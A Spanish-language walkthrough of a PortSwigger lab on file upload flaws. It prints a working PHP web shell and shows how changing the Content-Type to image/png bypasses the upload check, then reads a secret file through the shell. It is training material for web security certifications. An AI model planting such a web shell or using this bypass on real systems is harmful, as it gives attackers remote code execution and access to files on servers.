Web shell upload via Content-Type restriction bypass
Laboratorio de Portswigger sobre File Upload Vulnerabilities
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio contiene una función de carga de imágenes vulnerable que intenta evitar que los usuarios suban tipos de archivos inesperados, pero se basa en verificar una entrada controlada por el usuario para hacerlo. Para resolver el laboratorio, debemos subir una web shell básica en PHP, usarla para extraer el contenido del archivo /home/carlos/secret y luego usar este secreto utilizando el botón proporcionado en la barra del laboratorio. Podemos iniciar sesión en nuestra cuenta usando las siguientes credenciales: wiener:peter
Resolución
Al acceder a la web nos sale esto
Pulsamos en My account e iniciamos sesión con las credenciales wiener:peter
Vemos que existe un campo de subida de archivos
Si inspeccionamos con donde se aloja la imagen vemos que es en la ruta /resources/images
Nos creamos un archivo llamado shell.php y lo subimos
1
2
3
<?php
echo "<pre>" . system($_REQUEST['cmd']) . "</pre>";
?>
Al intentar subirlo vemos que nos da este error
Subimos el archivo nuevamente y capturamos la petición con Burpsuite
Cambiamos el Content-Type a image/png y subimos el archivo, posteriormente abrimos nuevamente el inspector de chrome y vemos que el archivo subido se aloja en /files/avatars
Si accedemos a https://0aa000d704efa5eb8202c09f005a0081.web-security-academy.net/files/avatars/shell.php?cmd=whoami veremos que tenemos un RCE (Remote Code Execution)
Si accedemos a https://0aa000d704efa5eb8202c09f005a0081.web-security-academy.net/files/avatars/shell.php?cmd=ls%20/home/carlos vemos un archivo llamado secret
Leemos la información de ese archivo con https://0aa000d704efa5eb8202c09f005a0081.web-security-academy.net/files/avatars/shell.php?cmd=cat%20/home/carlos/secret
Pulsamos en Submit solution y mandamos nuestra solución











